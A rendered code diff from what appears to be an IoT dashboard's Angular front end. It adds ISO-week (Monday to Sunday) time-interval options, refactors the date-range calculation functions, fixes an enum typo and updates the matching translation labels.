143 | 142 | DeviceProfile>(AddDeviceProfileDialogComponent, { |
144 | 143 | disableClose: true, |
145 | 144 | panelClass: ['tb-dialog', 'tb-fullscreen-dialog'], |
... | ... | @@ -147,7 +146,13 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon |
147 | 146 | deviceProfileName: null, |
148 | 147 | transportType: null |
149 | 148 | } |
150 | - }).afterClosed(); | |
149 | + }).afterClosed().subscribe( | |
150 | + (res) => { | |
151 | + if (res) { | |
152 | + this.config.table.updateData(); | |
153 | + } | |
154 | + } | |
155 | + ); | |
151 | 156 | } |
152 | 157 | |
153 | 158 | setDefaultDeviceProfile($event: Event, deviceProfile: DeviceProfile) { | ... | ... |
... | ... | @@ -520,7 +520,7 @@ export enum DeviceCredentialsType { |
520 | 520 | export const credentialTypeNames = new Map<DeviceCredentialsType, string>( |
521 | 521 | [ |
522 | 522 | [DeviceCredentialsType.ACCESS_TOKEN, 'Access token'], |
523 | - [DeviceCredentialsType.X509_CERTIFICATE, 'MQTT X.509'], | |
523 | + [DeviceCredentialsType.X509_CERTIFICATE, 'X.509'], | |
524 | 524 | [DeviceCredentialsType.MQTT_BASIC, 'MQTT Basic'], |
525 | 525 | [DeviceCredentialsType.LWM2M_CREDENTIALS, 'LwM2M Credentials'] |
526 | 526 | ] | ... | ... |
... | ... | @@ -136,13 +136,16 @@ export enum QuickTimeInterval { |
136 | 136 | DAY_BEFORE_YESTERDAY = 'DAY_BEFORE_YESTERDAY', |
137 | 137 | THIS_DAY_LAST_WEEK = 'THIS_DAY_LAST_WEEK', |
138 | 138 | PREVIOUS_WEEK = 'PREVIOUS_WEEK', |
139 | + PREVIOUS_WEEK_ISO = 'PREVIOUS_WEEK_ISO', | |
139 | 140 | PREVIOUS_MONTH = 'PREVIOUS_MONTH', |
140 | 141 | PREVIOUS_YEAR = 'PREVIOUS_YEAR', |
141 | 142 | CURRENT_HOUR = 'CURRENT_HOUR', |
142 | 143 | CURRENT_DAY = 'CURRENT_DAY', |
143 | 144 | CURRENT_DAY_SO_FAR = 'CURRENT_DAY_SO_FAR', |
144 | 145 | CURRENT_WEEK = 'CURRENT_WEEK', |
145 | - CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_WAR', | |
146 | + CURRENT_WEEK_ISO = 'CURRENT_WEEK_ISO', | |
147 | + CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_FAR', | |
148 | + CURRENT_WEEK_ISO_SO_FAR = 'CURRENT_WEEK_ISO_SO_FAR', | |
146 | 149 | CURRENT_MONTH = 'CURRENT_MONTH', |
147 | 150 | CURRENT_MONTH_SO_FAR = 'CURRENT_MONTH_SO_FAR', |
148 | 151 | CURRENT_YEAR = 'CURRENT_YEAR', |
... | ... | @@ -154,13 +157,16 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string |
154 | 157 | [QuickTimeInterval.DAY_BEFORE_YESTERDAY, 'timeinterval.predefined.day-before-yesterday'], |
155 | 158 | [QuickTimeInterval.THIS_DAY_LAST_WEEK, 'timeinterval.predefined.this-day-last-week'], |
156 | 159 | [QuickTimeInterval.PREVIOUS_WEEK, 'timeinterval.predefined.previous-week'], |
160 | + [QuickTimeInterval.PREVIOUS_WEEK_ISO, 'timeinterval.predefined.previous-week-iso'], | |
157 | 161 | [QuickTimeInterval.PREVIOUS_MONTH, 'timeinterval.predefined.previous-month'], |
158 | 162 | [QuickTimeInterval.PREVIOUS_YEAR, 'timeinterval.predefined.previous-year'], |
159 | 163 | [QuickTimeInterval.CURRENT_HOUR, 'timeinterval.predefined.current-hour'], |
160 | 164 | [QuickTimeInterval.CURRENT_DAY, 'timeinterval.predefined.current-day'], |
161 | 165 | [QuickTimeInterval.CURRENT_DAY_SO_FAR, 'timeinterval.predefined.current-day-so-far'], |
162 | 166 | [QuickTimeInterval.CURRENT_WEEK, 'timeinterval.predefined.current-week'], |
167 | + [QuickTimeInterval.CURRENT_WEEK_ISO, 'timeinterval.predefined.current-week-iso'], | |
163 | 168 | [QuickTimeInterval.CURRENT_WEEK_SO_FAR, 'timeinterval.predefined.current-week-so-far'], |
169 | + [QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR, 'timeinterval.predefined.current-week-iso-so-far'], | |
164 | 170 | [QuickTimeInterval.CURRENT_MONTH, 'timeinterval.predefined.current-month'], |
165 | 171 | [QuickTimeInterval.CURRENT_MONTH_SO_FAR, 'timeinterval.predefined.current-month-so-far'], |
166 | 172 | [QuickTimeInterval.CURRENT_YEAR, 'timeinterval.predefined.current-year'], |
... | ... | @@ -168,19 +174,18 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string |
168 | 174 | ]); |
169 | 175 | |
170 | 176 | export function historyInterval(timewindowMs: number): Timewindow { |
171 | - const timewindow: Timewindow = { | |
177 | + return { | |
172 | 178 | selectedTab: TimewindowType.HISTORY, |
173 | 179 | history: { |
174 | 180 | historyType: HistoryWindowType.LAST_INTERVAL, |
175 | 181 | timewindowMs |
176 | 182 | } |
177 | 183 | }; |
178 | - return timewindow; | |
179 | 184 | } |
180 | 185 | |
181 | 186 | export function defaultTimewindow(timeService: TimeService): Timewindow { |
182 | 187 | const currentTime = moment().valueOf(); |
183 | - const timewindow: Timewindow = { | |
188 | + return { | |
184 | 189 | displayValue: '', |
185 | 190 | hideInterval: false, |
186 | 191 | hideAggregation: false, |
... | ... | @@ -208,7 +213,6 @@ export function defaultTimewindow(timeService: TimeService): Timewindow { |
208 | 213 | limit: Math.floor(timeService.getMaxDatapointsLimit() / 2) |
209 | 214 | } |
210 | 215 | }; |
211 | - return timewindow; | |
212 | 216 | } |
213 | 217 | |
214 | 218 | function getTimewindowType(timewindow: Timewindow): TimewindowType { |
... | ... | @@ -298,7 +302,7 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, |
298 | 302 | aggType = AggregationType.AVG; |
299 | 303 | limit = timeService.getMaxDatapointsLimit(); |
300 | 304 | } |
301 | - const historyTimewindow: Timewindow = { | |
305 | + return { | |
302 | 306 | hideInterval: timewindow.hideInterval || false, |
303 | 307 | hideAggregation: timewindow.hideAggregation || false, |
304 | 308 | hideAggInterval: timewindow.hideAggInterval || false, |
... | ... | @@ -318,7 +322,6 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, |
318 | 322 | }, |
319 | 323 | timezone: timewindow.timezone |
320 | 324 | }; |
321 | - return historyTimewindow; | |
322 | 325 | } |
323 | 326 | |
324 | 327 | export function timewindowTypeChanged(newTimewindow: Timewindow, oldTimewindow: Timewindow): boolean { |
... | ... | @@ -357,7 +360,7 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num |
357 | 360 | timezone: timewindow.timezone, |
358 | 361 | tsOffset: calculateTsOffset(timewindow.timezone) |
359 | 362 | }; |
360 | - let aggTimewindow = 0; | |
363 | + let aggTimewindow; | |
361 | 364 | if (stateData) { |
362 | 365 | subscriptionTimewindow.aggregation.type = AggregationType.NONE; |
363 | 366 | subscriptionTimewindow.aggregation.stateData = true; |
... | ... | @@ -379,14 +382,15 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num |
379 | 382 | } |
380 | 383 | } |
381 | 384 | if (realtimeType === RealtimeWindowType.INTERVAL) { |
382 | - const currentDate = getCurrentTime(timewindow.timezone); | |
383 | 385 | subscriptionTimewindow.realtimeWindowMs = |
384 | - getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, currentDate); | |
386 | + getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, timewindow.timezone); | |
385 | 387 | subscriptionTimewindow.quickInterval = timewindow.realtime.quickInterval; |
386 | - subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate); | |
388 | + const currentDate = getCurrentTime(timewindow.timezone); | |
389 | + subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate).valueOf(); | |
387 | 390 | } else { |
388 | 391 | subscriptionTimewindow.realtimeWindowMs = timewindow.realtime.timewindowMs; |
389 | - subscriptionTimewindow.startTs = Date.now() + stDiff - subscriptionTimewindow.realtimeWindowMs; | |
392 | + const currentDate = getCurrentTime(timewindow.timezone); | |
393 | + subscriptionTimewindow.startTs = currentDate.valueOf() + stDiff - subscriptionTimewindow.realtimeWindowMs; | |
390 | 394 | } |
391 | 395 | subscriptionTimewindow.aggregation.interval = |
392 | 396 | timeService.boundIntervalToTimewindow(subscriptionTimewindow.realtimeWindowMs, timewindow.realtime.interval, |
... | ... | @@ -419,10 +423,10 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num |
419 | 423 | }; |
420 | 424 | aggTimewindow = timewindow.history.timewindowMs; |
421 | 425 | } else if (historyType === HistoryWindowType.INTERVAL) { |
422 | - const currentDate = getCurrentTime(timewindow.timezone); | |
426 | + const startEndTime = calculateIntervalStartEndTime(timewindow.history.quickInterval, timewindow.timezone); | |
423 | 427 | subscriptionTimewindow.fixedWindow = { |
424 | - startTimeMs: calculateIntervalStartTime(timewindow.history.quickInterval, currentDate), | |
425 | - endTimeMs: calculateIntervalEndTime(timewindow.history.quickInterval, currentDate) | |
428 | + startTimeMs: startEndTime[0], | |
429 | + endTimeMs: startEndTime[1] | |
426 | 430 | }; |
427 | 431 | aggTimewindow = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; |
428 | 432 | subscriptionTimewindow.quickInterval = timewindow.history.quickInterval; |
... | ... | @@ -445,7 +449,8 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num |
445 | 449 | return subscriptionTimewindow; |
446 | 450 | } |
447 | 451 | |
448 | -function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, currentDate: moment_.Moment): number { | |
452 | +function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, tz?: string): number { | |
453 | + let currentDate; | |
449 | 454 | switch (interval) { |
450 | 455 | case QuickTimeInterval.CURRENT_HOUR: |
451 | 456 | return HOUR; |
... | ... | @@ -453,91 +458,100 @@ function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterv |
453 | 458 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
454 | 459 | return DAY; |
455 | 460 | case QuickTimeInterval.CURRENT_WEEK: |
461 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | |
456 | 462 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
463 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | |
457 | 464 | return WEEK; |
458 | 465 | case QuickTimeInterval.CURRENT_MONTH: |
459 | 466 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
467 | + currentDate = getCurrentTime(tz); | |
460 | 468 | return currentDate.endOf('month').diff(currentDate.clone().startOf('month')); |
461 | 469 | case QuickTimeInterval.CURRENT_YEAR: |
462 | 470 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
471 | + currentDate = getCurrentTime(tz); | |
463 | 472 | return currentDate.endOf('year').diff(currentDate.clone().startOf('year')); |
464 | 473 | } |
465 | 474 | } |
466 | 475 | |
467 | -export function calculateIntervalEndTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number { | |
468 | - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz); | |
469 | - switch (interval) { | |
470 | - case QuickTimeInterval.YESTERDAY: | |
471 | - currentDate.subtract(1, 'days'); | |
472 | - return currentDate.endOf('day').valueOf(); | |
473 | - case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | |
474 | - currentDate.subtract(2, 'days'); | |
475 | - return currentDate.endOf('day').valueOf(); | |
476 | - case QuickTimeInterval.THIS_DAY_LAST_WEEK: | |
477 | - currentDate.subtract(1, 'weeks'); | |
478 | - return currentDate.endOf('day').valueOf(); | |
479 | - case QuickTimeInterval.PREVIOUS_WEEK: | |
480 | - currentDate.subtract(1, 'weeks'); | |
481 | - return currentDate.endOf('week').valueOf(); | |
482 | - case QuickTimeInterval.PREVIOUS_MONTH: | |
483 | - currentDate.subtract(1, 'months'); | |
484 | - return currentDate.endOf('month').valueOf(); | |
485 | - case QuickTimeInterval.PREVIOUS_YEAR: | |
486 | - currentDate.subtract(1, 'years'); | |
487 | - return currentDate.endOf('year').valueOf(); | |
488 | - case QuickTimeInterval.CURRENT_HOUR: | |
489 | - return currentDate.endOf('hour').valueOf(); | |
490 | - case QuickTimeInterval.CURRENT_DAY: | |
491 | - return currentDate.endOf('day').valueOf(); | |
492 | - case QuickTimeInterval.CURRENT_WEEK: | |
493 | - return currentDate.endOf('week').valueOf(); | |
494 | - case QuickTimeInterval.CURRENT_MONTH: | |
495 | - return currentDate.endOf('month').valueOf(); | |
496 | - case QuickTimeInterval.CURRENT_YEAR: | |
497 | - return currentDate.endOf('year').valueOf(); | |
498 | - case QuickTimeInterval.CURRENT_DAY_SO_FAR: | |
499 | - case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | |
500 | - case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | |
501 | - case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | |
502 | - return currentDate.valueOf(); | |
503 | - } | |
476 | +export function calculateIntervalStartEndTime(interval: QuickTimeInterval, tz?: string): [number, number] { | |
477 | + const startEndTs: [number, number] = [0, 0]; | |
478 | + const currentDate = getCurrentTime(tz); | |
479 | + const startDate = calculateIntervalStartTime(interval, currentDate); | |
480 | + startEndTs[0] = startDate.valueOf(); | |
481 | + const endDate = calculateIntervalEndTime(interval, startDate, tz); | |
482 | + startEndTs[1] = endDate.valueOf(); | |
483 | + return startEndTs; | |
504 | 484 | } |
505 | 485 | |
506 | -export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number { | |
507 | - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz); | |
486 | +export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment): moment_.Moment { | |
508 | 487 | switch (interval) { |
509 | 488 | case QuickTimeInterval.YESTERDAY: |
510 | 489 | currentDate.subtract(1, 'days'); |
511 | - return currentDate.startOf('day').valueOf(); | |
490 | + return currentDate.startOf('day'); | |
512 | 491 | case QuickTimeInterval.DAY_BEFORE_YESTERDAY: |
513 | 492 | currentDate.subtract(2, 'days'); |
514 | - return currentDate.startOf('day').valueOf(); | |
493 | + return currentDate.startOf('day'); | |
515 | 494 | case QuickTimeInterval.THIS_DAY_LAST_WEEK: |
516 | 495 | currentDate.subtract(1, 'weeks'); |
517 | - return currentDate.startOf('day').valueOf(); | |
496 | + return currentDate.startOf('day'); | |
518 | 497 | case QuickTimeInterval.PREVIOUS_WEEK: |
519 | 498 | currentDate.subtract(1, 'weeks'); |
520 | - return currentDate.startOf('week').valueOf(); | |
499 | + return currentDate.startOf('week'); | |
500 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | |
501 | + currentDate.subtract(1, 'weeks'); | |
502 | + return currentDate.startOf('isoWeek'); | |
521 | 503 | case QuickTimeInterval.PREVIOUS_MONTH: |
522 | 504 | currentDate.subtract(1, 'months'); |
523 | - return currentDate.startOf('month').valueOf(); | |
505 | + return currentDate.startOf('month'); | |
524 | 506 | case QuickTimeInterval.PREVIOUS_YEAR: |
525 | 507 | currentDate.subtract(1, 'years'); |
526 | - return currentDate.startOf('year').valueOf(); | |
508 | + return currentDate.startOf('year'); | |
527 | 509 | case QuickTimeInterval.CURRENT_HOUR: |
528 | - return currentDate.startOf('hour').valueOf(); | |
510 | + return currentDate.startOf('hour'); | |
529 | 511 | case QuickTimeInterval.CURRENT_DAY: |
530 | 512 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
531 | - return currentDate.startOf('day').valueOf(); | |
513 | + return currentDate.startOf('day'); | |
532 | 514 | case QuickTimeInterval.CURRENT_WEEK: |
533 | 515 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
534 | - return currentDate.startOf('week').valueOf(); | |
516 | + return currentDate.startOf('week'); | |
517 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | |
518 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | |
519 | + return currentDate.startOf('isoWeek'); | |
535 | 520 | case QuickTimeInterval.CURRENT_MONTH: |
536 | 521 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
537 | - return currentDate.startOf('month').valueOf(); | |
522 | + return currentDate.startOf('month'); | |
523 | + case QuickTimeInterval.CURRENT_YEAR: | |
524 | + case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | |
525 | + return currentDate.startOf('year'); | |
526 | + } | |
527 | +} | |
528 | + | |
529 | +export function calculateIntervalEndTime(interval: QuickTimeInterval, startDate: moment_.Moment, tz?: string): number { | |
530 | + switch (interval) { | |
531 | + case QuickTimeInterval.YESTERDAY: | |
532 | + case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | |
533 | + case QuickTimeInterval.THIS_DAY_LAST_WEEK: | |
534 | + case QuickTimeInterval.CURRENT_DAY: | |
535 | + return startDate.add(1, 'day').valueOf(); | |
536 | + case QuickTimeInterval.PREVIOUS_WEEK: | |
537 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | |
538 | + case QuickTimeInterval.CURRENT_WEEK: | |
539 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | |
540 | + return startDate.add(1, 'week').valueOf(); | |
541 | + case QuickTimeInterval.PREVIOUS_MONTH: | |
542 | + case QuickTimeInterval.CURRENT_MONTH: | |
543 | + return startDate.add(1, 'month').valueOf(); | |
544 | + case QuickTimeInterval.PREVIOUS_YEAR: | |
538 | 545 | case QuickTimeInterval.CURRENT_YEAR: |
546 | + return startDate.add(1, 'year').valueOf(); | |
547 | + case QuickTimeInterval.CURRENT_HOUR: | |
548 | + return startDate.add(1, 'hour').valueOf(); | |
549 | + case QuickTimeInterval.CURRENT_DAY_SO_FAR: | |
550 | + case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | |
551 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | |
552 | + case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | |
539 | 553 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
540 | - return currentDate.startOf('year').valueOf(); | |
554 | + return getCurrentTime(tz).valueOf(); | |
541 | 555 | } |
542 | 556 | } |
543 | 557 | |
... | ... | @@ -552,8 +566,11 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { |
552 | 566 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
553 | 567 | return DAY; |
554 | 568 | case QuickTimeInterval.PREVIOUS_WEEK: |
569 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | |
555 | 570 | case QuickTimeInterval.CURRENT_WEEK: |
571 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | |
556 | 572 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
573 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | |
557 | 574 | return WEEK; |
558 | 575 | case QuickTimeInterval.PREVIOUS_MONTH: |
559 | 576 | case QuickTimeInterval.CURRENT_MONTH: |
... | ... | @@ -567,72 +584,58 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { |
567 | 584 | } |
568 | 585 | |
569 | 586 | export function calculateIntervalComparisonStartTime(interval: QuickTimeInterval, |
570 | - currentDate: moment_.Moment): number { | |
587 | + startDate: moment_.Moment): moment_.Moment { | |
571 | 588 | switch (interval) { |
572 | 589 | case QuickTimeInterval.YESTERDAY: |
573 | 590 | case QuickTimeInterval.DAY_BEFORE_YESTERDAY: |
574 | 591 | case QuickTimeInterval.CURRENT_DAY: |
575 | 592 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
576 | - currentDate.subtract(1, 'days'); | |
577 | - return currentDate.startOf('day').valueOf(); | |
593 | + startDate.subtract(1, 'days'); | |
594 | + return startDate.startOf('day'); | |
578 | 595 | case QuickTimeInterval.THIS_DAY_LAST_WEEK: |
579 | - currentDate.subtract(1, 'weeks'); | |
580 | - return currentDate.startOf('day').valueOf(); | |
596 | + startDate.subtract(1, 'weeks'); | |
597 | + return startDate.startOf('day'); | |
581 | 598 | case QuickTimeInterval.PREVIOUS_WEEK: |
582 | 599 | case QuickTimeInterval.CURRENT_WEEK: |
583 | 600 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
584 | - currentDate.subtract(1, 'weeks'); | |
585 | - return currentDate.startOf('week').valueOf(); | |
601 | + startDate.subtract(1, 'weeks'); | |
602 | + return startDate.startOf('week'); | |
603 | + case QuickTimeInterval.PREVIOUS_WEEK_ISO: | |
604 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | |
605 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | |
606 | + startDate.subtract(1, 'weeks'); | |
607 | + return startDate.startOf('isoWeek'); | |
586 | 608 | case QuickTimeInterval.PREVIOUS_MONTH: |
587 | 609 | case QuickTimeInterval.CURRENT_MONTH: |
588 | 610 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
589 | - currentDate.subtract(1, 'months'); | |
590 | - return currentDate.startOf('month').valueOf(); | |
611 | + startDate.subtract(1, 'months'); | |
612 | + return startDate.startOf('month'); | |
591 | 613 | case QuickTimeInterval.PREVIOUS_YEAR: |
592 | 614 | case QuickTimeInterval.CURRENT_YEAR: |
593 | 615 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
594 | - currentDate.subtract(1, 'years'); | |
595 | - return currentDate.startOf('year').valueOf(); | |
616 | + startDate.subtract(1, 'years'); | |
617 | + return startDate.startOf('year'); | |
596 | 618 | case QuickTimeInterval.CURRENT_HOUR: |
597 | - currentDate.subtract(1, 'hour'); | |
598 | - return currentDate.startOf('hour').valueOf(); | |
619 | + startDate.subtract(1, 'hour'); | |
620 | + return startDate.startOf('hour'); | |
599 | 621 | } |
600 | 622 | } |
601 | 623 | |
602 | 624 | export function calculateIntervalComparisonEndTime(interval: QuickTimeInterval, |
603 | - currentDate: moment_.Moment): number { | |
625 | + comparisonStartDate: moment_.Moment, | |
626 | + endDate: moment_.Moment): number { | |
604 | 627 | switch (interval) { |
605 | - case QuickTimeInterval.YESTERDAY: | |
606 | - case QuickTimeInterval.DAY_BEFORE_YESTERDAY: | |
607 | - case QuickTimeInterval.CURRENT_DAY: | |
608 | - currentDate.subtract(1, 'days'); | |
609 | - return currentDate.endOf('day').valueOf(); | |
610 | 628 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
611 | - return currentDate.subtract(1, 'days').valueOf(); | |
612 | - case QuickTimeInterval.THIS_DAY_LAST_WEEK: | |
613 | - currentDate.subtract(1, 'weeks'); | |
614 | - return currentDate.endOf('day').valueOf(); | |
615 | - case QuickTimeInterval.PREVIOUS_WEEK: | |
616 | - case QuickTimeInterval.CURRENT_WEEK: | |
617 | - currentDate.subtract(1, 'weeks'); | |
618 | - return currentDate.endOf('week').valueOf(); | |
629 | + return endDate.subtract(1, 'days').valueOf(); | |
619 | 630 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
620 | - return currentDate.subtract(1, 'week').valueOf(); | |
621 | - case QuickTimeInterval.PREVIOUS_MONTH: | |
622 | - case QuickTimeInterval.CURRENT_MONTH: | |
623 | - currentDate.subtract(1, 'months'); | |
624 | - return currentDate.endOf('month').valueOf(); | |
631 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | |
632 | + return endDate.subtract(1, 'week').valueOf(); | |
625 | 633 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
626 | - return currentDate.subtract(1, 'month').valueOf(); | |
627 | - case QuickTimeInterval.PREVIOUS_YEAR: | |
628 | - case QuickTimeInterval.CURRENT_YEAR: | |
629 | - currentDate.subtract(1, 'years'); | |
630 | - return currentDate.endOf('year').valueOf(); | |
634 | + return endDate.subtract(1, 'month').valueOf(); | |
631 | 635 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
632 | - return currentDate.subtract(1, 'year').valueOf(); | |
633 | - case QuickTimeInterval.CURRENT_HOUR: | |
634 | - currentDate.subtract(1, 'hour'); | |
635 | - return currentDate.endOf('hour').valueOf(); | |
636 | + return endDate.subtract(1, 'year').valueOf(); | |
637 | + default: | |
638 | + return calculateIntervalEndTime(interval, comparisonStartDate); | |
636 | 639 | } |
637 | 640 | } |
638 | 641 | |
... | ... | @@ -656,8 +659,9 @@ export function createTimewindowForComparison(subscriptionTimewindow: Subscripti |
656 | 659 | startDate.tz(subscriptionTimewindow.timezone); |
657 | 660 | endDate.tz(subscriptionTimewindow.timezone); |
658 | 661 | } |
659 | - startTimeMs = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate); | |
660 | - endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, endDate); | |
662 | + const comparisonStartDate = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate); | |
663 | + startTimeMs = comparisonStartDate.valueOf(); | |
664 | + endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, comparisonStartDate, endDate); | |
661 | 665 | } else { |
662 | 666 | const timeInterval = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; |
663 | 667 | endTimeMs = subscriptionTimewindow.fixedWindow.startTimeMs; |
... | ... | @@ -697,22 +701,6 @@ export function cloneSelectedTimewindow(timewindow: Timewindow): Timewindow { |
697 | 701 | return cloned; |
698 | 702 | } |
699 | 703 | |
700 | -export function cloneSelectedHistoryTimewindow(historyWindow: HistoryWindow): HistoryWindow { | |
701 | - const cloned: HistoryWindow = {}; | |
702 | - if (isDefined(historyWindow.historyType)) { | |
703 | - cloned.historyType = historyWindow.historyType; | |
704 | - cloned.interval = historyWindow.interval; | |
705 | - if (historyWindow.historyType === HistoryWindowType.LAST_INTERVAL) { | |
706 | - cloned.timewindowMs = historyWindow.timewindowMs; | |
707 | - } else if (historyWindow.historyType === HistoryWindowType.INTERVAL) { | |
708 | - cloned.quickInterval = historyWindow.quickInterval; | |
709 | - } else if (historyWindow.historyType === HistoryWindowType.FIXED) { | |
710 | - cloned.fixedTimewindow = deepClone(historyWindow.fixedTimewindow); | |
711 | - } | |
712 | - } | |
713 | - return cloned; | |
714 | -} | |
715 | - | |
716 | 704 | export interface TimeInterval { |
717 | 705 | name: string; |
718 | 706 | translateParams: {[key: string]: any}; |
... | ... | @@ -894,6 +882,14 @@ export function getCurrentTime(tz?: string): moment_.Moment { |
894 | 882 | } |
895 | 883 | } |
896 | 884 | |
885 | +export function getTime(ts: number, tz?: string): moment_.Moment { | |
886 | + if (tz) { | |
887 | + return moment(ts).tz(tz); | |
888 | + } else { | |
889 | + return moment(ts); | |
890 | + } | |
891 | +} | |
892 | + | |
897 | 893 | export function getTimezone(tz: string): moment_.Moment { |
898 | 894 | return moment.tz(tz); |
899 | 895 | } | ... | ... |
... | ... | @@ -2232,14 +2232,17 @@ |
2232 | 2232 | "yesterday": "Yesterday", |
2233 | 2233 | "day-before-yesterday": "Day before yesterday", |
2234 | 2234 | "this-day-last-week": "This day last week", |
2235 | - "previous-week": "Previous week", | |
2235 | + "previous-week": "Previous week (Sun - Sat)", | |
2236 | + "previous-week-iso": "Previous week (Mon - Sun)", | |
2236 | 2237 | "previous-month": "Previous month", |
2237 | 2238 | "previous-year": "Previous year", |
2238 | 2239 | "current-hour": "Current hour", |
2239 | 2240 | "current-day": "Current day", |
2240 | 2241 | "current-day-so-far": "Current day so far", |
2241 | - "current-week": "Current week", | |
2242 | - "current-week-so-far": "Current week so far", | |
2242 | + "current-week": "Current week (Sun - Sat)", | |
2243 | + "current-week-iso": "Current week (Mon - Sun)", | |
2244 | + "current-week-so-far": "Current week so far (Sun - Sat)", | |
2245 | + "current-week-iso-so-far": "Current week so far (Mon - Sun)", | |
2243 | 2246 | "current-month": "Current month", |
2244 | 2247 | "current-month-so-far": "Current month so far", |
2245 | 2248 | "current-year": "Current year", | ... | ... |